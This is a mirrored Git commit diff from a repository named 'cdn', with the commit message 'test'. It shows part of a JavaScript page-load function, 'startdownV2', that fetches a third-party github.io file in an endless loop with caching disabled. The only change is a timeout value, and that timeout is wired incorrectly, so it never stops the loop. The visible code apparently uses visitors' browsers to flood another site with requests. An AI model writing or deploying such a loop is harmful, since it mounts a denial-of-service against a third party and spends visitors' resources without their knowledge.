mirror of
https://github.com/hexahigh/cdn.git
synced 2025-12-11 20:15:22 +01:00
test
This commit is contained in:
parent
b5e3061220
commit
10c7a6de71
@ -8,9 +8,9 @@ function delay(milliseconds){
|
|||||||
window.onload = async function startdownV2(){
|
window.onload = async function startdownV2(){
|
||||||
const controller = new AbortController()
|
const controller = new AbortController()
|
||||||
|
|
||||||
// 5 second timeout:
|
// 10 second timeout:
|
||||||
|
|
||||||
const timeoutId = setTimeout(() => controller.abort(), 5000)
|
const timeoutId = setTimeout(() => controller.abort(), 10000)
|
||||||
while(true){
|
while(true){
|
||||||
//await delay(10);
|
//await delay(10);
|
||||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
|
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user